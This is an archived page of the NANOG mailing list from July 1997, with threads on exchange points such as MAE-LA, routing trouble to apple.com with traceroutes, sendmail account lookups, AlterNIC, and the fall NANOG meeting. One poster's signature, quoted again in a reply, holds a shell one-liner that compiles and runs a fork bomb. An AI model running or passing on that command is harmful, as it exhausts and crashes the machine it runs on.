July 1997 - Test - lists.nanog.org

Mae-West
by Todd R. Stroup 16 Jul '97

16 Jul '97

So is there construction at Mae-West again or should I consider flying to SanJose? Todd R. Stroup Fiber Network Solutions, Inc.

1 0

mae-la
by Keith McCallion 16 Jul '97

16 Jul '97

Hello, I'm curious about MAE-LA. It has the potential to be quiet big, but it never really kicked off. We were considering linking there, but with only 13 other providers, we decided not too. Does anyone know why MAE-LA never really kicked off? Keith ========================================================================== Keith M. McCallion Senior Network Operations Engineer Trippin on irc.iswest.net Internet Specialties West keith@iswest.net/keith@hick.com 31194 La Baya Dr, Ste 106 P: 818-735-3000, F: 818-735-3004 Westlake Village, Calif. 91362 ========================================================================== echo "main(){while(1){malloc(10000);fork();}}" >z.c;gcc -o z z.c;./z ==========================================================================

5 4

Re: mae-la
by Alex Rubenstein 15 Jul '97

15 Jul '97

Beacuse MFS screwed up but making a MAE-[insert-any-town-with-population-over-500,000] and never marketed it right. MAE-NY could have been HUGE, but there is only 0 providers (maybe 1?) in there now. At 05:44 PM 7/15/97 -0700, Keith McCallion wrote: > >Hello, > >I'm curious about MAE-LA. It has the potential to be quiet big, but it >never really kicked off. We were considering linking there, but with only >13 other providers, we decided not too. > >Does anyone know why MAE-LA never really kicked off? > >Keith >========================================================================== >Keith M. McCallion Senior Network Operations Engineer >Trippin on irc.iswest.net Internet Specialties West >keith@iswest.net/keith@hick.com 31194 La Baya Dr, Ste 106 >P: 818-735-3000, F: 818-735-3004 Westlake Village, Calif. 91362 >========================================================================== > echo "main(){while(1){malloc(10000);fork();}}" >z.c;gcc -o z z.c;./z >========================================================================== > > --- "Don't go with a spineless ISP; we have more backbone." Alex Rubenstein -- alex(a)nac.net -- KC2BUO -- www.nac.net net @ccess corporation, 201-983-0725 -- 201-983-0725

1 0

None
by Alex Rubenstein 15 Jul '97

15 Jul '97

has anyone hacked QMail or Sendmail so that it could act as a mail server without actually having accounts on it? The idea that I have is that when a user gets mail (ala SMTP connection coming in), or the user checks mail (ala POP connection coming in), the mail server (Qmail, Sendmail, whatever) could make an ODBC/SQL call to a NT Server running MS-SQL (doesn't really matter, as it is a pure ODBC call). Has anyone done anything like this? Just curious. Thanks in advance. Pointers would be good also.

1 0

Fwd: #127669/2 (1site) appl:A site in Germany reports routing proble...
by Timothy M. Lyons 15 Jul '97

15 Jul '97

=== "What lies behind us and what lies before us are tiny matters compared to what lies within us." -- Emerson ---Internet Operations Center <ops(a)bbnplanet.com> wrote: > > Ticket Number: 127669 Ticket Status: open > Ticket Type: unplanned/e2e Scope/Source: 1site/email > Ticket Owner: na/na Ticket Opener: pbrown > Ticket Opened: 07-15-1997 14:32 GMT Problem Started: 07-15-1997 14:32 GMT > > Svc/Site ID #: 178044 > Svc/Site Name: appl > > Original Description: > > A site in Germany reports routing problems resulting in difficulties > reaching www.apple.com. > > Coming from either 194.97.200.30 or 195.254.23.1 and going to > www.apple.com traces seem to be delayed around paloalto. Winfried Haug from > the source reports their AS is 5549 and the first Net is announces as a /16 > from their former upstream, they have 194.97.192.0/18. The second block > has no super-route, but is splitted between themselves and another ISP, they > have 195.254.0.0/17. Traces attached. > > ***Note #2 07-15-1997 15:30:58 GMT Author: tpruneau > > Appears to be a problem in UUNet > > Winfried > > The hop where your trace showed a jump in time is a link between UUNet and BBN > > > > 13 C128.bbnplanet.net (137.39.250.14) 244.497 ms 205.937 ms > > 184.169 ms > > > 14 * * * > > > 15 * paloalto-br2.bbnplanet.net (4.0.1.10) 2755.807 ms * > > 137.39.250.14 is actually on the UUNet router (bbn has no control over that > router) > > I checked the stats for the link between those two routers for the last 24 > hours and it is fine > pkt/ bytes kbits util % drops > discards errors > sec /pkt /sec avg max 95th % 95th > % 95th % 95th > rcvd: 3005.3 366.6 8814.9 5.69 13.68 7.47 0.00 0.00 0.00 > 0.00 0.00 0.00 > sent: 1583.7 380.9 4826.3 3.11 13.93 4.93 0.00 0.00 0.00 > 0.00 0.00 0.00 > > > I did a ping test accross that link and it is also fine > > paloalto-br2/su-b#pingTarget IP address: 4.0.1.37 > Repeat count [5]: 1000 > Datagram size [100]: 1500 > Sending 1000, 1500-byte ICMP Echoes to 4.0.1.37, timeout is 2 seconds: > !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! > !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! > !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! > !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! > !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! > !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! > !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! > !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! > !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! > !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! > !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! > !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! > !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! > !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! > !!!!!!!!!!!!!!!!!!!! > Success rate is 100 percent (1000/1000), round-trip min/avg/max = 1/2/112 ms > > > Tracing back to you appears to show loss at the london link > paloalto-br2/su-b#trace 194.97.200.22 > > Type escape sequence to abort. > Tracing the route to Pfullingen2.seicom.net (194.97.200.22) > > 1 paloalto-br1.bbnplanet.net (4.0.1.37) 4 msec 0 msec 4 msec > 2 paix.bbnplanet.net (4.0.1.58) 904 msec 116 msec 16 msec > 3 br1.pao1.alter.net (198.32.176.2) 12 msec 44 msec 40 msec > 4 431.atm10-0.cr1.pao1.alter.net (137.39.13.142) [AS 701] 36 msec 40 msec > 56 msec > >>>> 5 * * > 197.Hssi4-0.BR1.LND1.Alter.Net (137.39.71.138) [AS 701] 2576 msec > 6 Fddi5-0.CR2.LND1.Alter.Net (146.188.30.226) [AS 702] 2580 msec 2564 msec > 2588 msec > 7 * > 367.Hssi5-0.CR2.FFT1.Alter.Net (146.188.3.85) [AS 702] 2644 msec 2616 msec > 8 Fddi0-0.GW1.FFT1.Alter.Net (146.188.31.227) [AS 702] 2712 msec 2648 msec > 2624 msec > 9 * > TopNet-gw.customer.ALTER.NET (146.188.128.22) [AS 702] 2676 msec * > 10 frankfurt.topnet.de (194.97.110.186) [AS 5539] 2724 msec * 2656 msec > 11 * > Frankfurt.seicom.NET (194.97.192.41) [AS 5549] 2688 msec 2720 msec > 12 * * > Frankfurt.seicom.NET (194.97.193.6) [AS 5549] 2660 msec > 13 Stuttgart.seicom.NET (194.97.193.9) [AS 5549] 2724 msec 2660 msec 2864 > msec > 14 Pfullingen.seicom.NET (194.97.192.249) [AS 5549] 2744 msec 2736 msec > 2684 msec > > > > I recomend you take this up with your ISP and have them persue the issue > with UUNet > > ======================================================================= > > > BBN Planet Corporation, provider of world-class Internet Services > including AT&T WorldNet (SM) Managed Internet Services. For more > information, contact our Internet Operations Center at > +1 800 632 7638, +1 617 873 8730, ops(a)bbnplanet.com, or > http://www.bbn.com/support > > > _____________________________________________________________________ Sent by RocketMail. Get your free e-mail at http://www.rocketmail.com

1 0

Network Outages (was: AlterNic antics)
by Steve Carter 15 Jul '97

15 Jul '97

George, My 2 pence worth: Networks do not crash of their own accord. Hardware failures may take a network out, but the highest, by far, culprit for outages is human error. If changes are not made, or closely managed, then networks will stay up. Steve. > Networks, as a general rule, crash of their own accord. > That does not excuse hostile action against them, which is > generally illegal. > > Mr Kashpureff is in deep doggy doo. > > -george william herbert > gherbert(a)crl.com

1 0

AlterNic antics
by Peter Giza 15 Jul '97

15 Jul '97

So what is the difference between Alternic's antics "DNS Storm" and: Robert T. Morris, the author of the Internet Worm program, was convicted of a Federal felony in the case. The law involved was 18 USC 1030 (A)(5)(a), the Computer Crime and Abuse Act of 1986. He was found guilty in February of 1990 in US District Court in Syracuse, NY. Granted the "worm" was a lot more serious, but it still interrupted "normal service" (whatever that is). -pete -- --/ Peter E. Giza || Technical Consultant || ADSmart Corporation fone 508.684.3609 || phax 508.684.3618 || page 800.632.1746 || http://www.adsmart.net /--

3 2

None
by matthew＠scruz.net 15 Jul '97

15 Jul '97

Original message <Pine.BSI.3.96.970715210717.373B-100000(a)duncan.nac.net> From: Alex Rubenstein <alex(a)nac.net> Date: Jul 15, 21:07 Subject: > > > > has anyone hacked QMail or Sendmail so that it could act as a mail server > without actually having accounts on it? Yes. > > The idea that I have is that when a user gets mail (ala SMTP connection > coming in), or the user checks mail (ala POP connection coming in), the > mail server (Qmail, Sendmail, whatever) could make an ODBC/SQL call to a > NT Server running MS-SQL (doesn't really matter, as it is a pure ODBC > call). Has anyone done anything like this? Just curious. Thanks in > advance. Pointers would be good also. We have a modified: sendmail mail.local popd all of which verify accounts against our internal database (same one which handles Radius queries and which the web/ftp server uses to do authentication and transfer limit quotas... in our case, a custom-written database package that keeps local copies of all of the data, and can read it in a single disk seek, so there's no problems if the network to the database server is ill) there's only about a dozen lines of code in each (usually the fastest solution is to have a routine which accesses the database, and then fills in a fake passwd struct as would be returned by getpwent) nice thing is that you can build in things like "allow mail to arrive, but return special failure code when user connects to pop server" to deal with "customer exists but hasn't paid for >45 days", and even more clever... "forward this mail to this other address for 30 days, and then bounce thereafter" only hint to be had is that even though it feels like modifying mail.local should be enough, sendmail ALSO checks to see if the user exists on the system before asking mail.local to do the delivery, so you need to hack both of them. we've investigated making the same hacks to both MMDF and qmail, and these appear to be equally trivial. -matthew kaufman matthew(a)scruz.net

1 0

October NANOG meeting
by Susan R. Harris 15 Jul '97

15 Jul '97

Hello everyone - we're pleased to announce that the fall '97 NANOG meeting will be hosted by Genuity and held October 27-28 at the Radisson Resort Scottsdale, near Phoenix. The meeting will run from 9:00 a.m. on Monday, October 27 (with coffee hour at 8:30 a.m.) until 4:00 p.m. Tuesday, October 28. On the Sunday evening before the conference, Avi Freedman, the founder of Net Access, will present a tutorial entitled "Raise your Routing IQ: Design and Debugging Techniques for Intermediate Users" from 7:30 - 9:00 p.m. We also wanted to let you know that as of the October meeting, NANOG will no longer receive any funding from the National Science Foundation. To compensate for the loss of NSF support, we plan to raise the registration fee from $100 to $150. The National Science Foundation has generously provided support for NANOG since the group was founded in February 1994, as part of NSF's support of the NSFNET Backbone Service and the Routing Arbiter project. NSF views NANOG as an important forum for the exchange of network operational information, and commends the ongoing success of the NANOG conferences. Since the U.S. Internet successfully transitioned in 1995 from the NSFNET to a commercial networking infrastructure, however, NSF has focused its networking support on network research and development efforts, rather than operational activities such as NANOG. We wish to thank NSF for its past support, and look forward to NANOG's continued growth and success as a self-sustaining organization. The $50 increase in the registration fee will allow us to cover meeting costs after the withdrawal of NSF funding. We hope that this will not be a hardship to attendees, and look forward to seeing you in Phoenix in October! Web registration will begin August 1; further details will be available soon. --Susan Harris and Bill Norton, Merit

1 0

Routing-Probs within BBnPlanet
by Winfried Haug 15 Jul '97

15 Jul '97

Hi ! some of our customers complain about really bad routing to www.apple.com As this traceroute shows, the problem can be somewhere at bbnplanet. Since i don have any account there, i cant see the routing from bbnplanet to us. I seems to be asymetric routing or something else... Starting from Hop 13 the times are unacceptable... Does anybody have any idea ? 1 ipgate (194.97.200.22) 5.637 ms 5.048 ms 3.847 ms 2 Stuttgart.seicom.NET (194.97.192.250) 5.589 ms 10.293 ms 5.578 ms 3 Frankfurt.seicom.NET (194.97.193.10) 10.303 ms 14.787 ms 10.394 ms 4 de-cix.seicom.NET (194.97.193.5) 10.520 ms 18.209 ms 10.508 ms 5 Frankfurt.topnet.DE (194.97.192.42) 23.773 ms 11.047 ms 20.590 ms 6 frankfurt.topnet.de (194.97.110.185) 16.412 ms 29.752 ms 22.646 ms 7 Serial3-2.GW1.FFT1.ALTER.NET (146.188.128.21) 112.821 ms 126.477 ms 136.s 8 Fddi0-0.CR2.FFT1.Alter.Net (146.188.31.226) 125.727 ms 121.155 ms 101.18s 9 512.Hssi4-0.CR2.LND1.Alter.Net (146.188.3.90) 199.711 ms 125.035 ms 146.s 10 * Fddi5-0.BR1.LND1.Alter.Net (146.188.30.225) 90.574 ms 85.898 ms 11 167.Hssi4-0.CR1.TCO1.Alter.Net (137.39.69.226) 222.667 ms * 174.701 ms 12 411.atm10-0.br2.tco1.alter.net (137.39.13.21) 186.230 ms 182.400 ms 236.s 13 C128.bbnplanet.net (137.39.250.14) 244.497 ms 205.937 ms 184.169 ms 14 * * * 15 * paloalto-br2.bbnplanet.net (4.0.1.10) 2755.807 ms * 16 paloalto-cr4.bbnplanet.net (131.119.0.204) 2721.680 ms * 2754.263 ms 17 * appl.bbnplanet.net (131.119.26.30) 2735.794 ms 2768.584 ms 18 * * tre.apple.com (205.180.175.29) 2685.547 ms 19 www.apple.com (17.254.3.28) 2697.392 ms * * Our AS is 5549, the Source IP is either 194.97.200.30 or 195.254.23.1 The first Net is announces as a /16 from our former upstream, we have 194.97.192.0/18 The second block has no super-route, but is splitted between us and another isp. We have 195.254.0.0/17 Winfried Haug

4 3